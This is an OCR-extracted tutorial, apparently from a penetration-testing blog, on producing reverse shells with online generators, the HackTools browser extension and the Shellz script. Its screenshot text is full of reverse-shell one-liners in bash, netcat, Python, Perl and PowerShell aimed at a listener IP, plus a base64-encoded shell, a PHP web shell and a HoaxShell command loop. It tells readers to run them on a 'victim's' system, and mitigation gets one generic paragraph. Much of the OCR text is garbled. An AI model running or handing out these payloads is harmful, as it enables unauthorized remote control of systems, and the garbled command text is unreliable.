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Easy Way to Generate Reverse Shell

In this article, we will learn how to get a reverse in few easy steps. Usually, the problem when
reverse shell commands is to remember its long and complicating syntax. But due to growing
Al of our digital world, this problem tackled and dealt with. Let’s see how it is done through
this article.

What is Reverse Shell?

A reverse shell is a technique used in computer security and hacking that allows an attacker
to gain control over a system through an established network connection. Reverse shells can
be used for various purposes, including unauthorized access, data theft, and further
exploitation of the compromised system.

A reverse shell, however, works in the opposite direction.

Here's a basic explanation of how a reverse shell typically works:

Listener/Server Side: The attacker sets up a listener (command and control/C2 server) on a
machine they control. This listener waits for incoming connections.

Victim/Client Side: The attacker somehow tricks the target system into connecting back to
their machine. This could be through techniques like exploiting vulnerabilities, social
engineering, or other means.

Connection Establishment: Once the connection is established, the attacker gains a
command shell on the target system. This shell allows them to execute commands on the
target machine as if they were physically present.

Command Execution: The attacker can then issue commands on the target system, navigate
the file system, run programs, and essentially control the system remotely.

Types of Reverse Shell

Reverse shell payloads are typically used by attackers to establish a connection back to their system.
These payloads can be part of various hacking tools and frameworks. Here are some common types
of reverse shell payloads:

Netcat (nc): Netcat is a versatile networking utility that can be used to create a basic reverse
shell. The attacker sets up a listener using Netcat, and the victim connects back to it,
establishing a shell.

Bash (Linux): A simple reverse shell can be achieved using Bash, the command shell for Unix-
based operating systems. The attacker might use a one-liner command to create a reverse
shell.
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Python: Python is a powerful scripting language, and attackers often use it to create reverse
shells. They can write a short script that opens a network connection and redirects
input/output to that connection.

PowerShell (Windows): On Windows systems, PowerShell is a command-line shell that
supports scripting. Attackers might use PowerShell to create reverse shells for Windows-
based targets.

PHP: PHP is a server-side scripting language, and attackers can craft PHP scripts to establish
reverse shell connections. These scripts are often injected into vulnerable web applications.
Ruby: Similar to Python, Ruby is a scripting language that can be used to create reverse shell
payloads. Attackers might use Ruby scripts to exploit vulnerabilities and gain control over a
system.

Metasploit Framework: Metasploit is a penetration testing framework that includes a variety
of tools for exploiting vulnerabilities. It provides pre-built reverse shell payloads for different
scenarios and platforms.

Java: Java-based reverse shells can be created to exploit systems where Java is installed.
Attackers can use Java sockets to establish a connection back to their server.

C and C++: Attackers may also write custom reverse shell code in lower-level languages like C
and C++ to avoid detection by antivirus software and intrusion detection systems.

Working of Reverse Shells

A reverse shell operates by initiating a connection between the target machine and the
attacker's machine. Typically, the target machine sends a connection request to the attacker's
machine. The attacker's machine functions as a listener, awaiting commands from the
attacker.
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Various Type Reverse Shell Generator
To Create a Reverse Shell, we need a reverse shell command and a listener command. And to
generate that go to the following website:

Online Tool- Reverse Shell Generator -1

Once the www.revshells.com is loaded, give your Listerner IP <Attacker IP> address and
Listener Port <Random Port>; as soon as you do this listener and reverse shell command will
be generated as shown in the image below. Execute the reverse shell command on the
victim’s system and run the listener on your attacking machine. Once you do this, you will
have your reverse shell.

@ Online - Rev ell Ge ®

L]

Theme Dark

Reverse Shell Generator

IP & Port Listener

Reverse

Bash-i . - ;
=g fdev/top/

Bash 196

Bash read line

Encoding MNone:

ncat -e
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http://www.revshells.com/

As you can see in the image below, there are various options of the listener you can create
such as powercat, busybox nc, socat, etc. Here we have created a netcat listenser. Even for
the reverse shell we have options like bash, pearl, ruby, nc -c and many more.

From the image below you can also observe that you can create such reverse shell commands
for all the operating systems such as Linux, Windows and Mac.

O 8 htp vshells.com

Theme Dark

Reverse Shell Generator

IP & Port Listener

P 192.168.1.17

nc -lvnp

Reverse Bind MSFVenom HoaxShell

Eashigd -i >& /fdev/tcp/
Bash 196

Bashread line

Bash 5

Bash udp

nc mkfifo

nc.exe -e

BusyBox nc -e

ne -c Shell Encoding

ncat -e

This Reverse Shell generator also provide us with the option to create Hoaxshell which is a
powershell payload for windows. The same is shown in the image below:
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L E0E Dark

Reverse Shell Generator

IP & Port Listener

1P 192.168.1.17

nc -lvnp

Reverse Bind MSFVenom HoaxShell

PowerShell [EX Z @echo off&cmd /V:ON /C "SET ip=

eb6a: a-Baccleb6-629ea455"&&SET protocol=httyg
owerShell IEX Constr Lang - NUL &8 for /L %i in (@) do (curl rotocol!!ip!/Baccle56 -H !sid!
> nd.bat & type !temp'!cmd.bat | finds None > NUL & if errorlevel 1
emp!cmd.bat > !tmplout.txt 2>&1) & curl !protocol! -H
PowerShell Qutfile i1 --data-binary @'templout.txt > NUL)) & timeout 1

PowerShell Outfile Constr
Lang Mode

Windows CMD cURL https
PowerShell IEX https

PowerShell Constr Lang Mode
|IEX https

PowerShell Qutfile https

PowerShell Outfile Constr

Lang Mode https Download Listener Copy

Reverse Shell Generator -2

This is an amazing Online reverse shell generator. To use this generator, go to the following
website:

https://tex2e.github.io/reverse-shell-generator/index.html

Once you are on the website, click on the ‘RevShell’ from the menu bar. And then give your
Local Host and Local Port as shown in the image below and then click on the ‘Submit’ button.
After clicking on the submit button, you will have your listener. Simultaneously, it will also
create multiple reverse shell commands for various Operating Systems as shown in the image
below:
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https://tex2e.github.io/reverse-shell-generator/index.html

@, OSINT ® Recon & Web ¥ SQL RevShell 1 Upload /2 Password ~. PrivEsc

Reverse Shells Generator

LHOSTI 192.168.1.17 ILPORT 4444 <

1. Listen

@Kali (netcat)
nc -lnvp 444

Copy

2. Connect back

Bash

bash -i >& /dev/tcp/HO2NI68NINTT/H44Y 0>&1

0<&196;exec 196<>/dev/tcp/IO2NIG8NINTT /#4844 ; sh <&196 >8196 2>&196

Bash (Base64)
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8XOTIUMTYALjEUMTCVNDQONCAWPLYX base64 -d | bash

python -¢ 'import socket,subprocess, os;s=socket.socket(socket.AF_INET, socket.SOCK_STREAM);

s.connect ( (" IOZNIEENINIY" B444)); 0s.dup2(s.fileno(),0);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh", "-1"]

os.dup2(s.fileno(),1);

Python3

python3 -c 'import socket, subprocess,os;s=socket.socket(socket.AF_INET, socket.SOCK_STREAM);
s.connect ( (" TO2VIGENINAT"  #444) ); 0s . dup2(s.fileno(),0); os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-1"]);"'

Copy

Perl

perl -e 'use Socket;$i="{SZNIGENINAT" ; Sp=#a44; socket (S, PF_INET, SOCK_STREAM, getprotobyname("tcp"));

if(connect (s, sockaddr_in($p,inet_aton($i)))){{open(STDIN, ">&S");open(STDOUT, ">&S"); open(STDERR, ">&S" ) ;exec("/bin/sh
-1y

Copy

Perl
perl -MIO -e '$p=fork;exit,if($p);Sc=new
10::Socket: :INET(PeerAddr, "TO2NA68NINIT : #444" ) STDIN->fdopen($c, r); $~->Fdopen($c, w) ;system$_ while<>;'

Copy

Perl (Windows)
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr, "HS2NIG8NINAT: #4484 " ) ; STDIN->Fdopen($c, r);$~->Fdopen($c, w

Copy

while<>;'

PowerShell

powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object
System.Net.Sockets.TCPClient (" TO2NIGENINIT" A444 ) $stream = $client.GetStream(), [byte[]]$bytes = ©..65535|%{@};while(($1
= Sstream.Read(Shytes, ©, $bytes.Length)) -ne 0){{;%data = (New-Object -TypeName
System.Text.ASCIIEncoding).GetString(Sbytes, 0, $i);%sendback = (iex $data 2>&1 | Out-String );$sendback2 = Ssendback +
"PS " + (pwd).Path + "> "; ndbyte =
([text.encoding]::ASCII).GetBytes($sendback2);$stream.write($sendbyte, @, $sendbyte.Length);$stream.Flush()}};$client.Clos
e()

Copy

PowerShell
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient ('HS2NIGBNENET ', #489d);$stream =
$client.GetStream(); [byte[]]$bytes = ©..65535|%{@};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne @){{;$data =

Copy

HackTool

HackTools is an all-in-one browser extension designed for Red Team web pentesters. It
streamlines web application penetration tests by providing cheat sheets and an array of
essential tools, including XSS payloads, reverse shells, and more. This extension eliminates
the need to search for payloads on different websites or in your local storage, offering one-
click access to most tools.

Download the Hacktool extension from the following link :

https://addons.mozilla.org/en-US/firefox/addon/hacktools/
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https://addons.mozilla.org/en-US/firefox/addon/hacktools/

ns.mozilla.org/en-US

Firefox Add-ons Blog Extension

*‘ Firefox Browser
' ADD'ONS Extensions Then

4,547
Users

HackTools
by Riadh B. & Ludovic C.

IN W |~ o

| —

A This add-on is not actively monitored for security by Mozilla. Make sure you trust it
before installing.

Learn more

Hacktools, is a web extension facilitating your web I Add to Firefox |

application penetration tests, it includes cheat sheets as
well as all the tools used during a test such as XSS
payloads, Reverse shells to test your web application.

Once the extension is downloaded, access it through the full screen option. From the side bar
go to the Reverse Shell option and give you Local hot and Local Port along with the type of
shell you want to create as shown in the image below. Once you do this, it will create various
reverse shells for you to use as shown in the image below:
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Q &) Extension (Hack-Tools) moz-extension://b6c1bc85-c8e2-42bf-0d11-67479fb2b6al/index.html

Reverse shell

Ibin/sh

Name Action

/bin/sh -i >& /dev/tcp/192.168.1.17/1234 0>&1

Bash 196

exec 5<>/dev/tcp/192.168.1.17/1234;cat <&5 | while read line; do $line 2>&5 =&5; done

/bin/sh -i dev/udp/192.168.1.17/1234 0>&1

= nc mkfifo

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.17 1234 >/tmp/f

Through Hacktool, you can also create PHP Reverse shell by clicking on the second option on
the side bar and give your Local host and Local Port. Now the extension will create various
PHP reverse shell. You can simply download it and the run it on the victim’s system and have
a reverse shell.
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(O &) Extension (Hack-Tools) moz-extension://b6c1bc85-c8e2-42bf-9d11-67479fb2b6al/index.html

PHP Reverse Shell

ull emote com era ar Il to obtain an interaci s e e and continue their attack

Pentestmon
itbound TCP connection to

uce code

<?php system($ GET["cmd"]);?>

L Download

ingle-file, PH L. It canbe to quic ommands o erver w entesting a PHP application.

> Watch the f

Download

Obfuscated PHP Web Shell

Downlead

$ POST[0] " 7>

Shellz

Shellz is a third-party tool which has made creating reverse shells a piece of cake. To download
and install Shellz use the following set of commands as shown in the image below:

1. git clone https://github.com/4ndr34s/shells
2. cd shells
3. ./install.sh
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~

git clone https://github.com/4ndr34z/shells
Cloning into 'shells' ...
remote: Enumerating objects: 734, done.
remote: Counting objects: 100% (28/28), done.
remote: Compressing objects: 100% (20/20), done.
remote: Total 734 (delta 17), reused 19 (delta 8), pack-reused 706
Receiving objects: 100% (734/734), 30.86 MiB | 6.59 MiB/s, done.
Resolving deltas: 100% (391/391), done.

cd shells

~/shells
1s -al
total 1744
drwxr-xr-x
drwx
drwxr-xr-x
—TWXT-XI'-X
-rw-r-—r-—-
-rw-r--1-—-
drwxr-xr-x
—-TWXT-XI'-X

root root 4096

root root 4096

root root 4096

root root 485 : install.sh
root root 1072 : LICENSE
root root 7800 : README . md
root root 4096

root root 1752695 ¢ shells.sh

R R Y R =

~/shells
./install.sh |

Once the tool is up and running, it will ask you about the type of reverse shell you want to
create. As we wanted to create a bash shell, we chose the option 3 as shown in the image
below:
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By 4ndr34z

v.1.6.8

® Updog is not running

Powershell
Netcat
Bash
Python
Ruby

Perl
Telnet

Zsh

PHP

Awk
OpenSSL
Golang
Files
Webshells
node.js
Start/Stop Updog

Exit

Choose an option: 3

After choosing the type of shell you want to create, it will ask you for Local IP and Local Port.
Now choose the type of your IP as shown in the image below:
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By 4ndr34z
v.1.6.8

P

Updog is not running

Please enter your listening IP [192.168.1.17]: 192.168.1.17
Please enter your listening port [443]: 443

1) Normal
2 ) Hexadecimal
3) Long

Choose an option [1]: |}

After this, it will ask you to if you want to encode your shell. Choose whatever option you like

as we did not want to encode our shell, we chose then option 1 just like it shown in the image
below:
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v.1.6.8

® Updog 1s not running

1) No encoding TCP
2 ) Baseb4 encoded TCP
3) Base64 encoded TCP URL-safe
4) URL encoded TCP
5) Double URL encoded TCP
6) No encoding UDP
7) Baseb64 encoded UDP
8) Base64 encoded UDP URL-safe
9) URL encoded UDP
10) Double URL encoded UDP
Go Back to Main Menu
Exit

Choose an option: 1

And finally, it will give you the reverse shell command that you can execute on you r victim’s
system. Then it will ask you the type of listener you want to create. Here, we chose netcat
listener by typing in number 1 as shown in the image below:
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By 4ndr34z

v.1.6.8

® Updog 1s not running

The following has been copied to your clipboard:

sh -1 >& /dev/tcp/192.168.1.17/443 0>§1

The payload is 39 characters

rlwrap nc tcp
2) nc tcp
OpenSSL
MSF Multi/Handler
Go Back to Main Menu
Exit
Choose an option [1]: 1
Do you wish to listen in a new terminal window [Y/n]
n
listening on [any] 443

After this, you can tell the tool where you want your session which can be either same window
or a new terminal window just like we have done it. Voila! You will have your session as shown
in the image below:
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By 4ndr34z
v.1.6.8

® Updog 1s not running

The following has been copied to your clipboard:

sh -i >& /dev/tcp/192.168.1.17/443 0>&1

The payload is 39 characters

1) rlwrap nc tcp
2) nc tcp
3) OpenSSL
4) MSF Multi/Handler
Go Back to Main Menu
Exit
Choose an option [1]: 1
Do you wish to listen in a new terminal window [Y/n]
n
listening on [any] 443
connect to [192.168.1.17] from (UNKNOWN) [192.168.1.23] 48968
$ id
uid=1000(pentest) gid=1000(pentest) groups=1000(pentest),4(adm),24(cdrom),

To our knowledge, these were the best four easiest methods to create reverse shells. If you
try and google reverse shell generator, it spat out multiple results which you can use too.
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About 4,95
Reverse Shell Generator
hty 5.com 3
Reverse Shell Generator: Online

Online Reverse Shell generator with Local Storage functionality, URI & Base64 Encoding,

MSFVenom Generator, and Raw Mode. Great for CTFs.

© GitHub Pages
https:/iweibell.github.io » rever: ell-generator

Reverse Shell Generator
Reverse Shell Generator. Step 1: Configuration. IP. Port. +1. First 1024 ports generally require
root privileges! Advanced. Step 2: Listener. $ nc -lvnp 4242.

GitHub

https:// github.io > reve hell-generator
Reverse Shells Generator
Reverse Shells Generator - 1. Listen. @Kali (netcat). nc -Invp 4444. Copy - 2. Connect back.
Bash. bash -i >& /dev/tcp/10.0.0.1/4444 0>&1. Copy. Bash. 0<&196; ...

Just like shown in the image above, you can choose and try any method or website you like.

Mitigation

To defend against reverse shells, it's essential to implement strong security measures,
including firewalls, intrusion detection systems, and regular software updates. Security
professionals should monitor network traffic for suspicious activity and follow best practices
for secure system administration.
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